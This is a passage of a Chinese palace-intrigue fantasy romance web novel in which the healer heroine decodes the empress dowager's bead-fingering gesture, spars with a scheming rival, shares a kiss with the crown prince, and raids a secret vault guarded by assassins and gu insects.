这异响带着一种蛊惑人心的靡靡之音,悄无声息地钻入听者耳朵。
但这异响并非针对所有人,而是如同精准的箭矢,直指向刚刚耗费精力救治太后跟李夫人的林绾绾。
林绾绾感到微弱的眩晕感袭来,仿佛有细小的金针在轻轻刺扎识海。
她秀眉微蹙,立刻运转《天医策》中凝神静气的法门,冰火同源之力在体内流转,瞬间将不适驱散。
她抬眸,目光直射向抚琴的王絮!
好高明,好隐蔽的手段!
这绝非扑通的琴艺!
第113章 渊阁相聚
水榭内,王絮的琴声还在继续。
萧景珩面具下的眼神却愈加犀利。
内力威压如同实质海啸般轰然爆发,直扑向王絮。
同时一步踏前,如山岳般挡在林绾绾身前,隔绝那阴损的音律。
王絮抚琴的手指微不可察地一僵。
恐怖的内力与充满毁灭性的目光让她如坠冰窟。
她指尖一颤,音符险些走调。
她稳住自己心神,脸上圣洁虔诚不变,指下暗藏的异响却收敛殆尽。
琴音依旧流畅空灵。
一曲终了,余音袅袅。
满殿赞叹。
“王小姐琴艺无双,这琴音真是清心涤虑!”
“没错没错,才貌双全,真乃闺秀典范!”
王絮莹莹起身,向皇帝行礼:“臣女献丑,惟愿此曲稍解太后烦忧,佑大胤国祚。”
皇帝抚掌大笑,满意至极:“好!弹得好!王爱卿教女有方,王姑娘确是才情出众,实乃我大胤闺秀之楷模!若有朝一日能成为朕的儿媳,必定会与珩儿传出佳话!”
“陛下谬赞,臣女愧不敢当!”
“太后凤体欠安,王姑娘不妨在宫中小住几日。就当提前熟悉一下环境,如何?”
皇帝语气中似乎已经将王家姑娘当成儿媳看待。
王絮闻言红晕爬上脸庞,娇羞不已。
她福身谢恩,眼底深处满是志在必得。
而林绾绾听了皇帝所言,不着痕迹地撇了萧景珩一眼。
萧景珩感知到林绾绾视线,于无人注意处,轻轻摆了摆手。
两人的小互动落在赫连灼的眼中,袖中的手不由轻轻攥紧。
一曲罢,水榭内的接风宴也落下了帷幕。
喧嚣与惊魂渐渐散去,留下的是波谲诡异的余震。
北漠圣女林绾绾,在水榭内救下太后和诰命夫人的性命,医术仁心之名彻底响彻京城。
无形中为北漠王庭增添了一重不容小觑的威望。
******
圣女别苑,夜凉如水。
林绾绾独自坐在灯下,指尖摩挲着玄铁令牌——
那是萧景珩留下的血鸦阁通行令。
白日里王絮看似无害、实则暗藏锋芒的所有行为,还有皇帝眼中已经难以掩饰的恶意,都让她心头警铃大响。
皇帝现在给“昏迷不醒”的太子选妃,是作何目的?
难道是怕她回来之后与太子联手,所以要开始离间他们?
看来这个王絮就是皇帝的第一步棋。
“圣女,狼主派人送来了这个。”
青蚨捧着一个不起眼的乌木小盒走了进来。
林绾绾打开木盒,里面只有一张折叠的素笺。
展开后露出赫连灼刚劲有力的字迹:
“长乐宫掌事宫女已为王氏贵妃顶罪,王氏不日将有复起之兆。
玉佩之事已有着落,子时,渊阁汇合。”
王贵妃动作倒是快,这么迫不及待地就将替罪羊抛出。
看来王家的这些棋子对皇帝是很有利用价值!
她将素笺置于烛火上燃烧,看着它化为灰烬。
“青蚨准备一下,子时随我出去一趟。”林绾绾对着青蚨吩咐道。
“是!”青蚨垂首应命。
子夜时分,万籁俱寂。
圣女别苑深处,林绾绾的卧房门悄无声息地打开。
她换上一身便于行动的夜行衣,长发紧紧束起。
脸上蒙着黑巾,只漏出在夜色中依旧清亮锐利的眸子。
青蚨同样装扮,紧随其后。
门外侍从大部分已经被青蚨用药迷晕。
院里院外分外寂静。
两人如同融入夜色的魅影,避开重重明暗哨,悄无声息地来到别苑一处偏僻的假山旁。
假山底部,一块看似寻常的太湖石被青蚨以特殊手法按动几下,随后露出一个幽暗洞口。
一股混合着铁锈和潮湿泥土的气息扑面而来。
这是萧景珩提前让血鸦卫在圣女别苑整改时挖的通道,通道尽头就是血鸦阁的秘密基地。
穿过曲折幽暗的甬道,不多时眼前豁然开朗。
身着统一玄色劲装,气息沉凝的血鸦卫们无声地穿梭其中,秩序井然。
萧景珩早已等候在中央大厅。
他同样一身玄衣,此刻却已卸掉面具。
俊美却冷冽的面容在萤**芒下如同冰雕玉琢,那双深邃的眼眸,在看到林绾绾身影出现的瞬间,眼底浮出暖意。
赫连灼站在萧景珩身侧不远处,琥珀色眼眸扫过
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林绾绾,微微颔首。
“情况如何?”林绾绾没有寒暄,直奔主题。
萧景珩指向大厅中央一张巨大的沙盘,上面精细地标注着皇宫布局,尤其是慈宁宫区域,被重点圈出。
“慈宁宫秘库,位于太后寝殿后殿地下。入口在寝殿佛龛之后,需特殊机关开启。”
“慈宁宫守卫分三层。”
“明哨为慈宁宫亲卫,每两个时辰轮换一次。”
“暗哨十二人,藏于秘库入口回廊的夹壁和承重梁阴影处,精通隐匿与合击。”
“最内层,是秘库本身的机关。据这几日牺牲数名好手才探得的零星情报,秘库内机关重重,有**与流沙,核心区域更有一种极其诡异的...活物守卫。”
“活物?”赫连灼皱眉。
“没错!”萧景珩点头,“情报语焉不详,只知这活物或与蛊物有关,极其危险。”
“而且,秘库开启的机关,似乎需要太后本人的某种信物或特定手法。强行破开可能会触发自毁。”
赫连灼闻言冷笑,“看来,这老虔婆把她的秘密看得比命还重。”
林绾绾的目光在沙盘上慈宁宫的位置反复巡弋。
“信物...玉佩本身就是最好的信物,但玉佩可能就在秘库里,这个可能性被排除。”
“至于特定的手法...可能与她日常习惯有关。这个需要好好观察。”
“我会借去慈宁宫为她诊治时,多留心观察。”
萧景珩眼中闪过赞赏,“孤的‘病情’也是时候好转一点了。我会在宫中多多接应你。有我在,你的行动也更方便一点。”
“太子殿下恢复身体健康,恐怕还为了皇帝给你选的太子妃吧。我看这个王絮姑娘属实不错,那一手绝妙的琴技更是令人惊叹,还有...”
“我心中眼中惟有绾绾一人!”萧景珩打断赫连灼的话,“况且这个王絮齐心不正,还意图伤害绾绾,我杀了她的心都有!”
“好了好了,我相信景珩。但这个王絮确实不简单,我们也需要多留心。”
林绾绾打断二人的争论,“当务之急,还是先想想那个特定手法最为重要!”
三人重新围坐于沙盘前,细商对策。
第114章 慈宁暗涌
清晨,慈宁宫内。
药香袅袅,却驱不散殿宇深处的沉沉暮气。
太后半倚在凤榻上,脸色依旧透着病态的苍白,精神恹恹,浑浊的眼底深处,藏着惊魂未定的警惕和挥之不去的阴郁。
林绾绾在太后身侧为她诊治。
但太后对林绾绾的态度极其复杂。
既有对她医术的依赖,更有对其带来的金昙花根深蒂固的恐惧与厌恶。
“有劳圣女了。”
太后声音嘶哑无力,带着疏离。
林绾绾神色恭谨,不卑不亢:“太后娘娘凤体关乎国本,我自当尽心。”
她如昨日一般,伸出三指搭上太后枯瘦的手腕,凝神诊脉。
指尖下,心脉淤塞稍缓,但惊悸留下的“空洞”与沉疴纠缠的滞涩感依旧顽固。
她一边细细感受着脉象变化,一边将大部分心神,都投注在太后捻动那串油光水亮的紫檀佛珠的动作上。
太后无意识的拇指、中指、无名指三指捻动着佛珠。
特定手法...紫檀佛珠...
林绾绾灵光一闪,这特定手法会不会与捻动佛珠的手法有关?
林绾绾看得极其专注,眼角余光丈量着每一颗珠子滑过太后指腹的轨迹和力道。
通过细致查看,她发现太后每次捻动到第七颗佛珠时,总会轻微停顿。
而停顿之后,无名指指腹便会有一个向内下方的小角度回压!
一次...两次...
林绾绾在心中模拟着。
这停顿与回压,难道就是开启密室的特定手法?
此刻还不能妄下定论,她还需要再看一下。
“太后娘娘心脉淤塞虽缓,然肝气郁结更甚。需辅以疏肝郁结、宁心安神之药。”
林绾绾收回手,提笔开方,字迹清隽。
她将药方递给一旁侍立的大宫女。
“按此方煎服,一日三次。另外,我需要再为太后娘娘行针一次,巩固心脉。”
太后疲惫地闭了闭眼,算是默许。
林绾绾再次取出九转玲珑针。
银针依次刺入膻中、巨阙、内关、神门...
针尾轻颤,微弱的冰火之力如同涓涓细流,温和地疏导着太后的经络。
她的注意力,却始终分出一分,牢牢锁定在太后捻动佛珠的手上。
这一次,她看得更清楚。
在第七颗珠子的停顿之后,无名指的回压并非孤立,而是带动着整个手腕有一个幅度不到半分的微小旋转。
这旋转的力道非常巧妙,融入了捻动下一颗珠子的连贯动作中。
若非刻意观察,根本无法觉察。
“旋”才是关键!
原来如此!
林绾绾心中豁然开朗。
开启秘库的关键在“七”,遇“七”停顿,“无名指回压”,随后“手腕微旋”!
目的达到。
林绾绾心中一定,面上却不露分毫,沉稳收针。
“太后娘娘请安心静养,我过段时间再来为您诊治一次。”
太后似乎真的舒服了些,含糊地“嗯”了一声。
林绾绾行礼告退。
刚走出慈宁宫正殿,沿着雕梁画栋的回廊没走多远,一个温婉柔美的声音带着恰到好处的“惊喜”般响起。
“咦?这不是圣女殿下吗?絮儿给圣女殿下请安。”
王絮一身浅碧色宫装,身姿袅娜如弱柳扶风,正从另一条岔路盈盈走来。
她身后跟着两名宫女,捧着一个精致的红木食盒。
她脸上带着无可挑剔的温柔笑意,目光似有若无地扫过林绾绾身后的慈宁宫,眼底藏着探究。
“王小姐。”林绾绾停下脚步,神色平淡。
“圣女殿下这是刚为太后娘娘诊完脉吗?”
王絮走近几步,声音轻柔,语气中满是关切,“太后娘娘凤体可是好些了?絮儿远不如圣女殿下妙手回春,昨日夜间只是为太后熬个参汤,都烫伤了自己。”
她微微抬手,动作自然又刻意地将手腕上的白纱展露在林绾绾面前。
“是絮儿太笨了,只会给别人添麻烦。”语气中是楚楚可怜的自责。
林绾绾唇角勾起客套的弧度,眼神却如冰泉般直视着王絮。
“王小姐果然是蕙质兰心。不过,烫伤虽是小恙,若处理不当,留下疤痕事小,若
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引发‘火毒入体’,可能会导致手臂僵直,那才会变成真正的‘没用’。”
王絮闻言,脸上的笑容瞬间僵住。
火毒入体?手臂僵直?
她只是想演一出苦肉计争取点便利,哪里想过这些。
“圣女殿下说笑了,这点伤哪会这么严重。”
王絮虽然嘴上这么说,但是林绾绾的话,却像一根细细的针,猝不及防地刺破了她精心维持的柔弱形象。
林绾绾仿佛没看到她脸色变化,语气平淡却字字清晰。
“我观王小姐的包扎手法,用的是宫中惯常见的‘叠纱法’。此法虽稳妥,却不利于散热排毒。”
她的目光落在王絮伤口的纱布边缘,透出的一点不自然的红晕上。
“闻王小姐所用的药膏味道,应该用的是太医院常备的‘玉肌膏’。”
“此膏性温,对普通烫伤尚可,但对已见红肿、隐约有燎泡之象的伤处,无异于火上浇油,反而会助长火毒,使病情难愈。”
王絮脸色彻底变了。
被林绾绾这么一说,心中顿时涌起一阵恐慌。
“圣女殿下未免有点危言耸听了。”王絮强装镇定,声音却隐隐开始变调。
“是不是危言耸听,王小姐心中自有分寸。”
林绾绾语气依旧平静,却是字字句句一针见血。
“若王小姐信得过,不妨取新鲜芦荟汁液,混合少许冰片粉末外敷,可以清热止痛,预防燎泡。再辅以金银花、连翘水内服,便可清热解毒。”
“这样,总好过王小姐用错了药,真落得个‘手不能提’的下场,那才是辜负了大家对你的‘怜惜’和你自己的一片‘孝心’。”
王絮被林绾绾堵得哑口无言,脸上一阵红一阵白。
周围虽没有旁人,但她仿佛感觉到那些宫墙都在无声地嘲笑她的愚蠢。
她本想借伤试试林绾绾与太后接触的深浅,却反被对方当众点破伤势隐患,还让人家“好心”指点了治疗之法。
这简直是赤裸裸的嘲笑。
她经营的温婉柔弱形象,在林绾绾这通直指要害的医术点拨下,显得如此可笑。
第115章 太液池畔
接下来几日,林绾绾以“巩固疗效”为由,每日准时前往慈宁宫为太后行针。
每一次诊视,她都近距离观察、反复印证太后捻珠手法。
她看得越发细致入微。
甚至能捕捉到太后在念诵不同佛经段落时,那无名指回压角度和手腕旋转力道都有细微差别。
这些细节,被她如同烙印般刻入脑海,反复推演模拟。
而王絮,总能“恰到好处”地与林绾绾在慈宁宫附近“偶遇”。
有时是捧着一卷佛经准备与太后请教,有时是端着炖好的补品与林绾绾“巧遇”…
言语间总是带着绵里藏针的试探和若有若无的炫耀。
然而,每一次的交锋,都被林绾绾以四两拨千斤的犀利言辞不动声色地化解。
王絮脸上的笑容越来越勉强,眼中的恨意如同毒草般疯长。
与此同时,另一个变化也在悄然发生。
太子的寒毒日趋减弱,“病弱”太子的面具开始松动。
他出现在人前的次数明显增多。
虽然始终面色苍白,步履虚浮,但是现在也会跟随皇帝在御书房议事。
那沉静犀利的目光和条理清晰的论断,让不少大臣都暗自心惊。
皇帝看着这个“日渐好转”的儿子,眼神深处多了探究与忌惮,但表面上却对太子身体日趋无恙有了“慈父”般欣慰的笑意。
这日午后,阳光正好。
林绾绾刚从慈宁宫出来,沿着太液池畔的九曲回廊缓步而行,心中还在推演着太后捻珠时无名指回压力道的精妙之处。
忽然,前方传来一阵女子娇柔婉转的吟唱声:
“…碧盏擎空水殿凉,凌波蘸墨写潇湘。半奁秋影收难住,并蒂双题寄心上。”
声音刻意拔高,语气中带着吟咏的韵味。
在寂静的午后显得格外清晰。
林绾绾闻声抬眼望去。
不远处的荷花水榭旁,王絮凭栏而立。
一身鹅黄轻纱宫装,衬得她身姿纤弱,我见犹怜。
她手中拈着一朵半开的粉荷,目光却含羞带怯地遥望向水榭另一侧。
那边沿着水畔缓缓走来的不是别人,正是萧景珩。
萧景珩今日未着太子服,而是一身月白云纹锦袍。
他玉带束腰,少了平日的冷冽,多了几分清贵的儒雅。
他似乎在沉思,并未注意到水榭旁的动静。
王絮见到萧景珩走近,眼中闪过光芒。
她深吸一口气,仿佛被诗句中的意境所感,身体柔弱无骨般,向前微微一顷。
脚下一个不稳,口中发出一声短促惊慌的娇呼:“啊呀!”
整个人如同被风吹折的柳枝,直直朝着萧景珩的方向“摔”了过去。
手中的荷花脱手飞出,花瓣零落间,更添几分楚楚可怜的意味。
时机、角度、姿态,都拿捏得恰到好处。
任谁看去,都像是一位才情横溢的闺秀,因沉醉诗词而失足,即将落入太子怀抱。
这一扑,既显柔弱,又带风情,落在众目睽睽之下,更是会为后宫添上几笔佳话。
林绾绾脚步彻底顿住。
她看着王絮精准的投怀送抱,看着萧景珩似乎因着突如其来的变故而微怔的身影,心中那潭平静的冰湖,仿佛被投下了一颗小小的石子。
她没有误会,也知道这是王絮的伎俩,更加清楚萧景珩绝对不会让她得逞阴谋。
可是…
那一瞬间…
看着一个女子如此明目张胆、费尽心机扑向男人怀抱时,一个陌生的涩意却毫无征兆地突然涌上心头。
甚至让她呼吸都微微一窒!
她不喜欢这种感觉,非常不喜欢!
就在王絮带着香风即将扑入萧景珩怀中的刹那。
萧景珩动了。
他甚至连眼皮都没有抬一下。
脚下步伐没有丝毫紊乱,只是身体如同游鱼般,极其自然地向侧面滑开半步。
动作流畅得如同早已预演过千百遍。
“噗通!”
一声闷响伴随着短促的惊呼。
王絮结结实实地扑了个空。
甚至由于收势不及,狼狈万分地摔倒在坚硬的青石地面上。
精心梳理的发髻散了,鹅
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黄的宫装沾满了泥土,额角甚至擦破了一点皮!
那朵脱手的荷花,在落下时,好巧不巧地正好砸在她的脸上,又被她自己在慌乱中按得粉碎。
花汁染污了衣袖,更显得狼狈不堪。
“王小姐?”萧景珩这才仿佛刚发现她一般
他停下脚步,转过身,居高临下地看着摔倒在地,疼得泪眼汪汪的王絮。
他声音平淡,听不出喜怒,但黑眸中,却掠过毫不掩饰的冰冷厌弃。
“御花园池畔湿滑,走路还需要当心些。下次再这么不小心,恐怕就不止摔一跤这么简单了。”
他的目光似有若无地扫过王絮擦伤的额角,警告之意不言而喻。
说完,萧景珩不再看地上脸色难看,羞愤欲死的王絮一眼,径直绕过她,朝着林绾绾的方向走来。
林绾绾站在原地,看着萧景珩干净利落地避开那场“艳遇”,看着王絮摔得灰头土脸,心头那股莫名的涩意被清风吹散,瞬间通泰。
一丝连她自己都未曾察觉的笑意,悄悄爬上了嘴角。
这男人…果然还是这么…不解风情地让人放心。
萧景珩走到林绾绾面前,脚步顿住。
林绾绾挂在嘴角的笑意还未散,就这么撞进了萧景珩的眼中。
荷香水畔,心爱的女人近在咫尺。
萧景珩没有说话,而是借着高大的身影,挡住了别人看向两人的视线。
他的手极其自然地握住林绾绾微凉的手腕。
掌心温热而干燥。
在别人看不见的角度,带着薄茧的指腹在林绾绾细腻的肌肤上轻轻摩挲了一下,带着一种无声的安抚和宣告。
林绾绾指尖轻颤,却没有挣脱。
被他握着的地方,仿佛有细微的电流窜过。
暖意不仅驱散了池畔的微凉,也熨平了心头最后一丝褶皱。
两人肩并肩,旁若无人地离去。
没有人再去在意摔倒在地,狼狈不堪的王絮。
阳光穿过树梢,在他们身后投下长长的、依偎在一起的影子,将王絮那怨毒扭曲的目光,彻底隔绝在外。
第116章 醋吻深情
是夜,圣女别苑。
林绾绾刚刚沐浴完毕,只着素白寝衣,长发湿漉漉地披散在肩头。
她坐在床边静心打坐,脑海中推演着《天医策》玄妙的医术,同时也在不停回顾太后捻动佛珠的手法。
窗棂微响,一个熟悉的身影带着夜露的微凉滑**内。
萧景珩换下了白日的锦袍,依旧是一身玄色劲装,勾勒出宽肩窄腰的挺拔轮廓。
他走到床边,坐到林绾绾身旁,目光盯着她专注的侧脸和沾着水汽的纤长睫毛。
冷硬的轮廓在烛光下分外柔和。
“这几日的慈宁宫之行,那个特殊手法可有眉目?”
看林绾绾打坐结束,萧景珩才轻声问道。
“嗯。”林绾绾揉了揉眉心,“原理已通,但需实践。关键在于对机关细节上的感应。”
她一边说着,一边走下床来到桌案边,伸手去拿茶杯。
萧景珩却先她一步,将微热的茶杯递到她手中。
指尖不经意划过林绾绾的手指。
林绾绾接过茶杯,手指上残留着萧景珩触碰的温热。
她垂眸饮了一口茶,却见萧景珩并未收回手,反而从袖中取出一方叠得整整齐齐的素白丝帕。
“这个,”萧景珩将丝帕放在桌案上,语气带着别扭和嫌弃,“白日里王絮摔倒时,‘不小心’遗落的。宫人拾到后,竟然送到了东宫。”
林绾绾的目光落在那方丝帕上。
丝帕一角,用银线绣着一朵精致的柳絮,旁边还有一个娟秀的“絮”字。
一股淡淡的甜腻熏香从帕子上传出。
白日里那股陌生的涩意,毫无征兆地再次涌上心头,甚至比之前更甚!
她明明知道萧景珩对王絮的厌恶,也明明知道这帕子是被萧景珩嫌恶地丢在桌子上…
可是一想到这沾染了另一个女子气息的私密之物,被宫人转手后放入他的袖中,甚至在不久前还属于那个处心积虑扑向他的女人…
一股烦躁和酸涩冲垮了她的冷静。
“既是王小姐遗落的,”林绾绾的声音冷了下来,带着她自己都未曾意识到的尖锐和赌气,伸手就要去拿那方丝帕,“殿下先好好收着,明日‘亲自’还给她便是!”
就在她的指尖即将触碰到丝帕的瞬间。
一只温热有力的大手攥住了她的手腕。
力道之大,让她无法挣脱。
林绾绾惊愕抬头,撞见萧景珩深邃如渊的眼眸中。
那眸子里,此刻翻涌着她从未见过的、浓烈得化不开的情绪。
有错愕,有被误解的愠怒,还有一种滚烫的占有欲!
“林绾绾!”
萧景珩连名带姓地叫她,声音低沉沙哑,带着压抑的怒火和一种说不清道不明的焦灼,“你在想些什么?”
被他这样攥着手腕质问,林绾绾心头那股无名火也“噌”地烧了起来。
她想什么?她能想什么?
“我想什么?我想殿下既然收了人家的‘心意’就该好好保管,何必拿到我面前碍眼!”
林绾绾用力想抽回手,却被萧景珩握得更紧。
手腕处出来微微的疼痛。
“碍眼?”
萧景珩像是被这两个字彻底点燃,他猛地逼近一步,高大的身影带着强烈的压迫感,将林绾绾完全笼罩在桌案与他之间。
两人的呼吸瞬间纠缠在一起。
“你觉得这破东西碍眼?那我告诉你,它更脏了我的眼!”
他另一只手抓起那方丝帕,看也不看,掌心玄冥寒气骤然爆发。
那方价值不菲,绣工精美的丝帕,连同上面那朵精致的柳絮,瞬间被至寒的劲气冻得僵硬,继而寸寸断裂,化为无数细小的冰晶,簌簌飘落在地。
“现在,它还碍眼吗?”
萧景珩紧盯着林绾绾的眼睛,声音如同淬了冰,却又带着灼人的热度。
林绾绾被他突如其来的举动惊住了。
看着地上那堆晶莹的碎屑,看着萧景珩眼中翻腾的怒火和深藏其后的…一丝不易察觉的委屈。
林绾绾心头那股酸涩和怒火,如同被戳破般,瞬间消散得无影无踪。
只剩下一种空茫的悸动和荒谬的甜意。
她张了张嘴,却发现自己此
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刻不知道应该说点什么。
手腕上传来的热度,烫得她心慌意乱。
萧景珩看着林绾绾怔忡的模样,那点委屈瞬间被汹涌的、几乎要将他淹没的渴望取代。
林绾绾的唇近在咫尺,泛着水润的光泽,此刻因惊愕而微微开启,如同诱人采撷的花瓣。
萧景珩脑中名为理智的弦,在这一刻,彻底崩断!
他猛地低下头,带着不容抗拒的霸道和积压已久的炽热情潮,狠狠吻上了林绾绾的唇!
“唔…!”
滚烫的、带着萧景珩独有的气息的吻,如同燎原的野火,席卷了林绾绾所有的感官。
他的唇带着惩罚的力道,却又在触碰到她柔软的唇瓣的瞬间,化为一种近乎贪婪的吮吸和探索。
萧景珩的手臂紧紧箍住林绾绾的腰肢,将她更用力地按向自己,仿佛要将她揉进骨血里。
林绾绾脑中一片空白。
所有的推演、算计、冷静,在这一刻被突如其来、霸道至极的吻中冲击得七零八落。
她下意识地想要挣扎。
双手抵在萧景珩坚实的胸膛上,却被他滚烫的体温和有力的心跳震得发麻。
属于萧景珩的气息铺天盖地,强势地侵入她的唇齿,掠夺着她的呼吸,也点燃了她心底深处沉睡的火焰。
最初的震惊和微弱的抵抗过后,一种陌生的、酥麻的、令人战栗的激动从相贴的唇瓣间迅速蔓延到四肢。
林绾绾抵在萧景珩胸间的手渐渐失去了力道,指尖无意识地蜷缩。
她开始笨拙地,试探性地回应萧景珩,如同迷途的幼兽,被这汹涌的情潮牵引着,沉溺其中。
萧景珩感知到林绾绾的变化,他的吻也越发凶狠起来,似是要将林绾绾整个人拆骨入腹一般,吻得越发急切深情。
烛火在窗棂透入的微风中轻轻摇曳,将两人紧密相拥、激烈亲吻的身影投在墙壁上。
地上那堆冰冷的丝帕碎屑,成了这炽热情动中,最微不足道的背景。
这一刻,没有阴谋,没有算计,只有唇齿间最原始,最滚烫的确认与占有。
第117章 夜探秘库
经过几日的观察,林绾绾基本可以确定秘库进入的特定手法。
给赫连灼传了书信,三人约定好时间在渊阁相聚。
“时间紧迫,我决定亲自去秘库。”林绾绾果断道。
“不行!”萧景珩和赫连灼几乎是异口同声。
“这太危险!”
萧景珩一步上前,高大的身影满是压迫感,黑眸紧紧锁住林绾绾。
“秘库内情况不明,蛊虫诡异莫测,你不能冒险。”语气带着罕见的焦灼。
赫连灼也沉声道:“圣女身份贵重,不宜亲身犯险。我可以调北漠死士…”
“北漠死士不熟悉慈宁宫地形和机关,更容易暴露,去了也是送死!”
林绾绾打断他,并迎上两人担忧的视线,目光清亮而坚定。
“我的医术和《天医策》是最大的依仗。况且真遇上蛊毒,我的圣血和九转玲珑针可以克制它们!”
二人见林绾绾如此坚定,那份强势的阻拦最终化为无声的妥协。
萧景珩伸出手,干燥而带着薄茧的手指,拂过林绾绾颊边并不存在的碎发,动作熟稔而亲昵。
“好!我跟你一起去。但你必须跟紧我,寸步不离!”
看着萧景珩的眼睛,林绾绾不自觉地想到那个夜晚的吻,眼睛不自觉地移开视线,脸上却悄然染上了红晕。
她没有避开萧景珩的手,只是轻轻点点头。
两人旁若无人的亲昵举动,让赫连灼的眉头狠狠一皱,脸色沉了下来,随即冷哼一声,别过脸去。
三人计划迅速敲定。
由萧景珩和林绾绾潜入慈宁宫,青蚨与数名血鸦卫高手在外围策应、清除暗哨。
赫连灼坐镇渊阁,调动北漠在京城的部分暗桩,制造几起不大不小的“意外”,吸引京城戍卫和宫中禁军的注意力,将潜入的风险降到最低。
子时三刻,整个皇宫沉浸在深沉的夜色中。
巡夜的士兵走过空旷的宫道,手中风灯的光芒在夜风中摇曳,更添几分阴森。
两道几乎与夜色融为一体的身影,如同鬼魅般掠过重重宫殿的飞檐斗拱,悄无声息地落在慈宁宫的琉璃瓦上。
二人正是萧景珩和林绾绾。
萧景珩对慈宁宫的守卫布置了如指掌。
他带着林绾绾巧妙避开巡逻的侍卫和隐藏的暗桩,几个起落便潜入了后殿。
殿内弥漫着浓郁的檀香气息,寂静无声。
萧景珩已经提前打点好清理佛龛的宫女,将加了料的檀香在今晚给太后替换上。
如今寝殿内所有人都陷入了沉睡。
太后的卧床在重重帷幕之后。
佛龛前,长明灯幽暗的光线勉强勾勒出里面的轮廓。
萧景珩示意林绾绾噤声。
他侧耳倾听片刻,确认寝殿内只有太后平稳悠长的呼吸声后,身形一闪,带着林绾绾来到巨大的紫檀木佛龛前。
佛龛上供奉着一尊鎏金观音,慈眉善目。
萧景珩轻轻转动观音金身。
“咔嗒...”
一声轻微的机扩声从佛龛底座传来。
紧接着,佛龛连同下方的莲花座,无声地向左滑开半尺,露出下方一个黑黢黢的方形入口。
一股混合着陈旧灰尘和异样的腥臭气息扑面而来。
成了!
两人对视一眼,眼中俱是凝重。
萧景珩率先闪身而入,林绾绾紧随其后。
待二人进入后,青蚨的身影如同影子般出现在入口,警惕地守护着。
入口下方是陡峭的石壁,墙壁上发出幽绿光芒,勉强照亮前路。
空气潮湿阴冷,带着陈腐的腥气。
沿着石阶向下约十丈,眼前是一条笔直的青石回廊。
回廊不大,尽头是一扇紧闭厚重的铁门。
大门上没有任何锁孔,只有两个狰狞的兽首门环。
“小心夹壁和梁上。”萧景珩低声道。
声音在寂静的回廊中带着回音。
他话音未落,林绾绾也感知到两侧墙壁和头顶承重梁阴影处,传来与黑暗融为一体的呼吸和心跳!
是暗哨!
萧景珩眼神一厉,没有任何废话,身影如同鬼魅般消失。
“噗!噗!噗!”
黑暗中传来几声短促、沉闷的喉骨碎裂声。
如同死神的镰刀,瞬间收割了六条隐匿在暗处的生命
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。
剩下的六名暗哨显然被这雷霆手段惊骇,瞬间爆起。
六道黑影如同蝙蝠般从不同角度扑杀而下。
手中淬毒的短刃在阴暗的光芒下闪烁着致命的寒芒!
他们的合击之术极其精妙,封**萧景珩所有闪避空间。
就在这时!
“咻!咻!咻!”
三道细微的破空声响起。
三枚细如牛毛,闪烁着玉泽的银针,如同拥有生命般,精准无比地射向扑在最前面的三名暗哨。
目标并非身体要害,而是他们持刀手腕的内关穴!
是九转玲珑针!
针入瞬间,三名暗哨只觉手臂一阵酸麻剧痛,如同被无形的电流击中般,手腕瞬间失去力量。
合击阵型瞬间被打破。
萧景珩抓住这电石火光的空隙,冰火劲气轰然爆发。
身形如幻似魅,带起一片残影。
“咔嚓!”“砰!”“呃啊!”
骨骼碎裂声,重物撞击墙壁声,濒死的闷哼声几乎同时响起。
剩下的暗哨如同破麻袋般被狠狠击飞,撞在青石墙壁上,瞬间毙命!
整个袭杀过程,从开始到结束,不过短短三息!
林绾绾收回银针,面色平静。
她的针,不仅精准,更在刺入穴道的瞬间,注入一丝冰火之气,瞬间麻痹了对方手臂的经络。
这是《天医策》中记载的“截脉针法”的简化应用,再配合上萧景珩的雷霆手段,效果惊人。
解决了暗哨,两人来到铁门前。
大门光滑如镜,找不到任何锁孔或机关按钮。
林绾绾细细观察着铁门,目光最后落在那两个狰狞的兽首门环上。
她仔细观察发现,左侧兽首瞳孔深处,镶嵌着一块暗红色,但可以活动的晶石。
这块晶石应该就是使用特殊手法进入内部的关键!
林绾绾回想着太后捻动紫檀佛珠的手法,随后三指转动暗红晶石七下,随后向下按压,继而再猛地一旋!
“嗡--!”
一声低沉的嗡鸣从门内传来。
厚重的大门毫无声响地缓缓滑开,露出了门后幽深的空间。
第118章 玉佩到手
慈宁宫秘库内,林绾绾和萧景珩闪身进入铁门后。
大门在身后无声合拢。
眼前是一条向下延伸的甬道,比入口处的更加宽阔。
墙壁上镶嵌了不少萤石,光线稍亮。
甬道两侧,矗立着两排高大的石人甬,身披甲胄,手持长戈,面目模糊,在幽绿的光线下显得格外阴森可怖。
“小心脚下。”
萧景珩提醒,目光锐利如鹰。
他话音刚落,林绾绾已敏锐地察觉到脚下几块地砖的缝隙与周围略有不同。
她脚尖轻点旁边一块安全地砖,身体轻盈地向前滑出丈许。
萧景珩紧随其后。
两人刚刚站稳,身后他们原本站立的位置,传来“咔嚓”几声轻响。
几块地砖向下翻落,露出黑洞洞的陷坑,坑底隐约可见闪烁着寒光的尖锐铁刺。
**破空之声从两侧墙壁响起,继而被两人敏捷躲过。
凭借着超凡的感知和默契的配合,两人有惊无险地穿过了布满**和流沙的陷阱区域,终于来到了甬道尽头。
尽头处,是一个圆形的巨大石室。
石室中央,矗立着一座由整块黑色寒玉雕琢而成的莲花台。
莲花台上方,悬空漂浮着一个晶莹剔透的水晶罩。
水晶罩内,静静躺着一枚玉佩!
玉佩通体成暗金色,材质温润,透着古老与神秘。
其形状,赫然与北漠金昙王印有七八分相似,只是小了许多。
玉佩边缘雕刻着繁复的、如同藤蔓缠绕又似火焰升腾的纹路。
在幽暗的光线下,玉佩核心处,隐隐有微弱如同呼吸般的金色流光在缓缓流转。
正是那半枚金昙同心佩!
玉佩下方,莲花台的凹槽内,散落着几块暗紫色、如同凝固血液般的晶石碎片——
那东西竟然跟赫连苍玄密室中残留的晶石碎屑一模一样!
它们散发着微弱却令人不适的阴冷邪异气息,与玉佩散发的温润古老气息形成诡异的对峙。
就在两人目光被玉佩吸引的瞬间。
“嘶嘶嘶——!”
一阵令人头皮发麻的密集嘶鸣声,如同潮水般从密室四周的阴影中响起!
紧接着,无数道细长的、通体呈现妖异紫黑色的怪虫,从石壁缝隙中激射而出。
它们速度快得惊人,在空中划过一道道紫黑色的残影,带着浓烈的腐臭气息,铺天盖地地扑向两人!
数量之多,足以瞬间将人啃噬成白骨。
“是蛊虫!小心!”
萧景珩厉喝一声,玄冥劲气爆发至巅峰。
一股冰寒刺骨的气浪以他为中心轰然扩散,试图冻结这些诡异的蛊虫。
然而,这些紫黑色的蛊虫在接触到玄冥寒气后,速度只是微微一滞,体表在泛起一层诡异的黑紫色幽光后,竟硬生生抗住了寒气的侵蚀。
它们依旧悍不畏死地扑向二人。
